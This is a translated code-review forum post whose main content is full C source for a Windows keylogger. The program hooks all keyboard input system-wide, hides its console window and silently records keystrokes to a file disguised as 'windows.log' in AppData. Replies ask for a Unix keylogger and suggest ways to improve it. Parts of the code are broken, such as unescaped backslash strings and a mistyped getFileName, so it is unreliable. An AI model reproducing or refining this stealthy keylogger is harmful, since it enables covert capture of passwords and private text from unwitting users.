我已经有一段时间(几年*)了这个键盘记录程序代码,并且我想我会把它提交审查。我想按顺序检查以下内容:


可移植性-目前,该程序只能在Windows系统上运行。我可以通过什么方式使它更具便携性? (我觉得我必须去挖掘POSIX函数,但是我不确定哪个函数适合我的需求。)Bugs-构建此代码时,它按预期运行。可能有一些我没有发现的bug,我想知道它们是什么(以及如何解决它们)。
重构-我觉得我可以简化很多。也许我是错的,但是有没有更好/更轻松的方法将按键转换为可打印的,人类可读的字符?
可用性-您认为我有更好的方式将数据写入日志以便在分析时更具可读性?

*到目前为止,它可能还不符合我的编码标准。如果我违背自己的建议,不要认为我是伪君子!


keylogger.c:

#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdbool.h>

#define VK_VOLUME_MUTE 0xAD
#define VK_VOLUME_DOWN 0xAE
#define VK_VOLUME_UP 0xAF

int isCapsLock(void)
{
    return (GetKeyState(VK_CAPITAL) & 0x0001);
}

void log(char s1[])
{
    FILE* file = fopen(getFileName(), "a+");
    int i = 0;
    fputs(s1, file);
    i++;
    if (i == 50)
    {
        fputc('\n', file);
        i = 0;
    }
    fclose(file);
}

/* An application-defined callback function used with the SetWindowsHookEx function.
 The system calls this function every time a new keyboard input event is about to be posted into a thread input queue.
 1st Parameter  nCode - A code the hook procedure uses to determine how to process the message.
 2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the
 following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
 3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure.
 */
LRESULT CALLBACK
LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    /* This structure contains information about a low-level keyboard input like virtual code, scan code, flags,
     time stamp and additional information associated with the message.
     */
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *) lParam;
    char val[5];
    DWORD dwMsg = 1;
    switch (wParam)
    {

    case WM_KEYDOWN: // When the key has been pressed. Changed from WM_KEYUP to catch multiple strokes.
    {
        // Assign virtual key code to local variable
        DWORD vkCode = pKeyBoard->vkCode;

        if ((vkCode >= 39) && (vkCode <= 64)) // Keys 0-9
        {
            // TODO fix to shift key HELD down
            if (GetAsyncKeyState(VK_SHIFT)) // Check if shift key is down (fairly accurate)
            {
                switch (vkCode)
                // 0x30-0x39 is 0-9 respectively
                {
                case 0x30:
                    log(")");
                    break;
                case 0x31:
                    log("!");
                    break;
                case 0x32:
                    log("@");
                    break;
                case 0x33:
                    log("#");
                    break;
                case 0x34:
                    log("$");
                    break;
                case 0x35:
                    log("%");
                    break;
                case 0x36:
                    log("^");
                    break;
                case 0x37:
                    log("&");
                    break;
                case 0x38:
                    log("*");
                    break;
                case 0x39:
                    log("(");
                    break;
                }
            }
            else // If shift key is not down
            {
                sprintf(val, "%c", vkCode);
                log(val);
            }
        }
        else if ((vkCode > 64) && (vkCode < 91)) // Keys a-z
        {
            /*
             The following is a complicated statement to check if the letters need to be switched to lowercase.
             Here is an explanation of why the exclusive or (XOR) must be used.

             Shift   Caps    LowerCase    UpperCase
             T       T       T            F
             T       F       F            T
             F       T       F            T
             F       F       T            F

             The above truth table shows what case letters are typed in,
             based on the state of the shift and caps lock key combinations.

             The UpperCase column is the same result as a logical XOR.
             However, since we're checking the opposite in the following if statement, we'll also include a NOT operator (!)
             Becuase, NOT(XOR) would give us the LowerCase column results.
             */
            if (!(GetAsyncKeyState(VK_SHIFT) ^ isCapsLock())) // Check if letters should be lowercase
            {
                vkCode += 32; // Un-capitalize letters
            }
            sprintf(val, "%c", vkCode);
            log(val);
        }
        else // Every other key
        {
            switch (vkCode)
            // Check for other keys
            {
            case VK_CANCEL:
                log("[Cancel]");
                break;
            case VK_SPACE:
                log(" ");
                break;
            case VK_LCONTROL:
                log("[LCtrl]");
                break;
            case VK_RCONTROL:
                log("[RCtrl]");
                break;
            case VK_LMENU:
                log("[LAlt]");
                break;
            case VK_RMENU:
                log("[RAlt]");
                break;
            case VK_LWIN:
                log("[LWindows]");
                break;
            case VK_RWIN:
                log("[RWindows]");
                break;
            case VK_APPS:
                log("[Applications]");
                break;
            case VK_SNAPSHOT:
                log("[PrintScreen]");
                break;
            case VK_INSERT:
                log("[Insert]");
                break;
            case VK_PAUSE:
                log("[Pause]");
                break;
            case VK_VOLUME_MUTE:
                log("[VolumeMute]");
                break;
            case VK_VOLUME_DOWN:
                log("[VolumeDown]");
                break;
            case VK_VOLUME_UP:
                log("[VolumeUp]");
                break;
            case VK_SELECT:
                log("[Select]");
                break;
            case VK_HELP:
                log("[Help]");
                break;
            case VK_EXECUTE:
                log("[Execute]");
                break;
            case VK_DELETE:
                log("[Delete]");
                break;
            case VK_CLEAR:
                log("[Clear]");
                break;
            case VK_RETURN:
                log("[Enter]");
                break;
            case VK_BACK:
                log("[Backspace]");
                break;
            case VK_TAB:
                log("[Tab]");
                break;
            case VK_ESCAPE:
                log("[Escape]");
                break;
            case VK_LSHIFT:
                log("[LShift]");
                break;
            case VK_RSHIFT:
                log("[RShift]");
                break;
            case VK_CAPITAL:
                log("[CapsLock]");
                break;
            case VK_NUMLOCK:
                log("[NumLock]");
                break;
            case VK_SCROLL:
                log("[ScrollLock]");
                break;
            case VK_HOME:
                log("[Home]");
                break;
            case VK_END:
                log("[End]");
                break;
            case VK_PLAY:
                log("[Play]");
                break;
            case VK_ZOOM:
                log("[Zoom]");
                break;
            case VK_DIVIDE:
                log("[/]");
                break;
            case VK_MULTIPLY:
                log("[*]");
                break;
            case VK_SUBTRACT:
                log("[-]");
                break;
            case VK_ADD:
                log("[+]");
                break;
            case VK_PRIOR:
                log("[PageUp]");
                break;
            case VK_NEXT:
                log("[PageDown]");
                break;
            case VK_LEFT:
                log("[LArrow]");
                break;
            case VK_RIGHT:
                log("[RArrow]");
                break;
            case VK_UP:
                log("[UpArrow]");
                break;
            case VK_DOWN:
                log("[DownArrow]");
                break;
            case VK_NUMPAD0:
                log("[0]");
                break;
            case VK_NUMPAD1:
                log("[1]");
                break;
            case VK_NUMPAD2:
                log("[2]");
                break;
            case VK_NUMPAD3:
                log("[3]");
                break;
            case VK_NUMPAD4:
                log("[4]");
                break;
            case VK_NUMPAD5:
                log("[5]");
                break;
            case VK_NUMPAD6:
                log("[6]");
                break;
            case VK_NUMPAD7:
                log("[7]");
                break;
            case VK_NUMPAD8:
                log("[8]");
                break;
            case VK_NUMPAD9:
                log("[9]");
                break;
            case VK_F1:
                log("[F1]");
                break;
            case VK_F2:
                log("[F2]");
                break;
            case VK_F3:
                log("[F3]");
                break;
            case VK_F4:
                log("[F4]");
                break;
            case VK_F5:
                log("[F5]");
                break;
            case VK_F6:
                log("[F6]");
                break;
            case VK_F7:
                log("[F7]");
                break;
            case VK_F8:
                log("[F8]");
                break;
            case VK_F9:
                log("[F9]");
                break;
            case VK_F10:
                log("[F10]");
                break;
            case VK_F11:
                log("[F11]");
                break;
            case VK_F12:
                log("[F12]");
                break;
            case VK_F13:
                log("[F13]");
                break;
            case VK_F14:
                log("[F14]");
                break;
            case VK_F15:
                log("[F15]");
                break;
            case VK_F16:
                log("[F16]");
                break;
            case VK_F17:
                log("[F17]");
                break;
            case VK_F18:
                log("[F18]");
                break;
            case VK_F19:
                log("[F19]");
                break;
            case VK_F20:
                log("[F20]");
                break;
            case VK_F21:
                log("[F21]");
                break;
            case VK_F22:
                log("[F22]");
                break;
            case VK_F23:
                log("[F23]");
                break;
            case VK_F24:
                log("[F24]");
                break;
            case VK_OEM_2:
                if (GetAsyncKeyState(VK_SHIFT))
                    log("?");
                else
                    log("/");
                break;
            case VK_OEM_3:
                if (GetAsyncKeyState(VK_SHIFT))
                    log("~");
                else
                    log("`");
                break;
            case VK_OEM_4:
                if (GetAsyncKeyState(VK_SHIFT))
                    log("{");
                else
                    log("[");
                break;
            case VK_OEM_5:
                if (GetAsyncKeyState(VK_SHIFT))
                    log("|");
                else
                    log("\");
                break;
            case VK_OEM_6:
                if (GetAsyncKeyState(VK_SHIFT))
                    log("}");
                else
                    log("]");
                break;
            case VK_OEM_7:
                if (GetAsyncKeyState(VK_SHIFT))
                    log("\");
                else
                    log("'");
                break;
                break;
            case 0xBC:                //comma
                if (GetAsyncKeyState(VK_SHIFT))
                    log("<");
                else
                    log(",");
                break;
            case 0xBE:              //Period
                if (GetAsyncKeyState(VK_SHIFT))
                    log(">");
                else
                    log(".");
                break;
            case 0xBA:              //Semi Colon same as VK_OEM_1
                if (GetAsyncKeyState(VK_SHIFT))
                    log(":");
                else
                    log(";");
                break;
            case 0xBD:              //Minus
                if (GetAsyncKeyState(VK_SHIFT))
                    log("_");
                else
                    log("-");
                break;
            case 0xBB:              //Equal
                if (GetAsyncKeyState(VK_SHIFT))
                    log("+");
                else
                    log("=");
                break;
            default:

                /* For More details refer this link http://msdn.microsoft.com/en-us/library/ms646267
                 As mentioned in document of GetKeyNameText http://msdn.microsoft.com/en-us/library/ms646300
                 Scon code is present in 16..23 bits therefor I shifted the code to correct position
                 Same for Extended key flag
                 */
                dwMsg += pKeyBoard->scanCode << 16;
                dwMsg += pKeyBoard->flags << 24;

                char key[16];
                /* Retrieves a string that represents the name of a key.
                 1st Parameter dwMsg contains the scan code and Extended flag
                 2nd Parameter lpString: lpszName - The buffer that will receive the key name.
                 3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character
                 If the function succeeds, a null-terminated string is copied into the specified buffer,
                 and the return value is the length of the string, in characters, not counting the terminating null character.
                 If the function fails, the return value is zero.
                 */
                GetKeyNameText(dwMsg, key, 15);
                log(key);
            }
        }
        break;
    }
    default:

        /* Passes the hook information to the next hook procedure in the current hook chain.
         1st Parameter hhk - Optional
         2nd Parameter nCode - The next hook procedure uses this code to determine how to process the hook information.
         3rd Parameter wParam - The wParam value passed to the current hook procedure.
         4th Parameter lParam - The lParam value passed to the current hook procedure
         */
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    return 0;
}

// Function called by main function to install hook
DWORD WINAPI
KeyLogger(LPVOID lpParameter)
{

    HHOOK hKeyHook;
    /* Retrieves a module handle for the specified module.
     parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
     If the function succeeds, the return value is a handle to the specified module.
     If the function fails, the return value is NULL.
     */
    HINSTANCE hExe = GetModuleHandle(NULL);

    if (!hExe)
    {
        return 1;
    }
    else
    {
        /*Installs an application-defined hook procedure into a hook chain
         1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure to be installed
         Installs a hook procedure that monitors low-level keyboard input events.
         2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure.
         3rd Parameter hMod: hExe - A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
         4th Parameter dwThreadId: 0 - the hook procedure is associated with all existing threads running
         If the function succeeds, the return value is the handle to the hook procedure.
         If the function fails, the return value is NULL.
         */
        hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) LowLevelKeyboardProc, hExe, 0);

        /*Defines a system-wide hot key of alt+ctrl+9
         1st Parameter hWnd(optional) :NULL - A handle to the window that will receive hot key message generated by hot key.
         2nd Parameter id:1 - The identifier of the hot key
         3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL -  The keys that must be pressed in combination with the key
         specified by the uVirtKey parameter in order to generate the WM_HOTKEY message.
         4th Parameter vk: 0x39(9) - The virtual-key code of the hot key
         */
        RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0x39);

        MSG msg;

        // Message loop retrieves messages from the thread's message queue and dispatches them to the appropriate window procedures.
        // For more info http://msdn.microsoft.com/en-us/library/ms644928%28v=VS.85%29.aspx#creating_loop
        //Retrieves a message from the calling thread's message queue.

        while (GetMessage(&msg, NULL, 0, 0) != 0)
        {
            // if Hot key combination is pressed then exit
            if (msg.message == WM_HOTKEY)
            {
                UnhookWindowsHookEx(hKeyHook);
                return 0;
            }
            //Translates virtual-key messages into character messages.
            TranslateMessage(&msg);
            //Dispatches a message to a window procedure.
            DispatchMessage(&msg);
        }

        /* To free system resources associated with the hook and removes a hook procedure installed in a hook chain
         Parameter hhk: hKeyHook - A handle to the hook to be removed.
         */
        UnhookWindowsHookEx(hKeyHook);
    }
    return 0;
}

int start(char* argv[])
{
    HANDLE hThread;

    /* CreateThread function Creates a thread to execute within the virtual address space of the calling process.
     1st Parameter lpThreadAttributes:  NULL - Thread gets a default security descriptor.
     2nd Parameter dwStackSize:  0  - The new thread uses the default size for the executable.
     3rd Parameter lpStartAddress:  KeyLogger - A pointer to the application-defined function to be executed by the thread
     4th Parameter lpParameter:  argv[0] -  A pointer to a variable to be passed to the thread
     5th Parameter dwCreationFlags: 0 - The thread runs immediately after creation.
     6th Parameter pThreadId(out parameter): NULL - the thread identifier is not returned
     If the function succeeds, the return value is a handle to the new thread.
     */

    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger,
            (LPVOID) argv[0], 0, NULL );

    if (hThread)
    {
        // Waits until the specified object is in the signaled state or the time-out interval elapses.
        return WaitForSingleObject(hThread, INFINITE);
    }
    return 1;
}


> main.c:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdbool.h>
#include <stdlib.h>

bool invisible = true;
char fileName[MAX_PATH];

void hide(void) 
{
    HWND stealth;

    /* Retrieves a handle to the top-level window whose class name and window name match the specified strings.
     1st Parmeter lpClassName: ConsoleWindowClass - Class Name
     2nd Parameter lpWindowName: parameter is NULL, all window names match.
     If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
     If the function fails, the return value is NULL.
     */
    stealth = FindWindow("ConsoleWindowClass", NULL );
    ShowWindow(stealth, 0);
}

void init(void) 
{
    // get path to appdata folder
    char* dest = "%appdata%\windows.log";

    /* Expands the envirnment variable given into a usable path
     1st Parameter lpSrc: A buffer that contains one or more environment-variable strings in the form: %variableName%.
     2nd Parameter lpDst: A pointer to a buffer that receives the result of expanding the environment variable strings in the lpSrc buffer.
     3rd Parameter nSize: The maximum number of characters that can be stored in the buffer pointed to by the lpDst parameter.
     The return value is the fully expanded pathname.
    */
    ExpandEnvironmentStrings(dest, fileName, MAX_PATH);

    // open file
    FILE *file;
    file = fopen(fileName, "a+");
    time_t startTime = time(0);
    // see if file is empty
    long savedOffset = ftell(file);
    fseek(file, 0, SEEK_END);
    if (!ftell(file) == 0) fputc('\n', file);
    fseek(file, savedOffset, SEEK_SET);
    // print timestamp
    fputs("### Started logging at: ", file);
    fputs(ctime(&startTime), file);
    fclose(file);
}

void powerdown(void)
{
    // get path to appdata folder
    char* dest = "%appdata%\windows.log";
    ExpandEnvironmentStrings(dest, fileName, MAX_PATH);

    // open file
    FILE *file;
    file = fopen(fileName, "a+");
    time_t endTime = time(0);
    fputs("\n### Stopped logging at: ", file);
    fputs(ctime(&endTime), file);
    fclose(file);
}

char getFileName()
{
    return fileName;
}

int main(int argc, char* argv[]) 
{
    int startKeyLogging(char* argv[]);

    if (invisible) hide();
    init();
    start(argv);
    atexit(powerdown);  // only works if process isn't killed
}


评论

GetAsyncKeyState(VK_SHIFT)的用途是什么

@Osama它确定在调用函数时按键是向上还是向下,以及在上一次调用GetAsyncKeyState()之后是否按下了该键。

您是否有机会使其在Unix中运行。我正在寻找Unix中的键盘记录程序。但是找不到一个稳定的人。或者您对Unix keylogger [任何URL]有什么建议吗?这将非常有帮助。

@DineshAppavoo不幸的是,我不久前就停止了这个项目,并且还不能将其移植到Unix系统上。

喔好吧。不过谢谢您的回应。

#1 楼

您可以为Control和Alt键注册击键事件,但无需注意释放它们的时间。因此,您将无法通过阅读成绩单来区分r和Controlr。我会考虑改成一些查找表。定义的键控代码少于255个,其数字值有据可查。以编程方式处理a-z情况,然后使用查找表处理其余情况。定义一个“中性”表和一个带有Shift激活值的表。性能可能不会更好,并且表之间会有一些重复,但是我认为代码仍将更具可读性。

但是,从根本上讲,您已经编写了符号到符号的代码地图,这意味着您已经重新实现了硬编码的美国英语键盘布局。在一般情况下,这是不正确的。实际上,您有两个不错的选择:


记录硬件级别的事件:keydown / keyup事件,时间和键码。用不太容易理解的数字格式写输出。您可以编写一个单独的解释工具,将这些事件转换为文本。
记录应根据用户在“控制面板”中选择的键盘映射或输入方法生成的逻辑符号。您应该能够使用诸如switch之类的功能来帮助您。总的来说,这个问题要复杂得多。例如,如果用户激活了仓jie输入法,并键入了键盘序列hqiSpace,则生成的结果字符应为“我”(U + 6211)。我不熟悉如何连接Windows输入法系统。

基于“单一责任原则”,我选择第一个选项:让键盘记录器记录键事件并编写一个单独的解释工具。

#2 楼



main.c中有一些全局变量:


bool invisible = true;
char fileName[MAX_PATH];



应将它们放在最近的位置



可以将其传递给函数。您在keylogger中的#define s:c


>
可以简化为一个enum

#define VK_VOLUME_MUTE 0xAD
#define VK_VOLUME_DOWN 0xAE
#define VK_VOLUME_UP 0xAF


它们也应该像这样在enum中保持数字顺序。 />可以将switch中的LowLevelKeyboardProc()替换为某种哈希图,以将这些值保持在一起以便于搜索。如果需要进行任何更改(尤其是添加其他值),这将使维护变得更加容易。
由于您在return 0(已理解返回的整数值)的其他函数中使用了return 1main(),因此可能更具可读性,分别将return值替换为EXIT_SUCCESSEXIT_FAILURE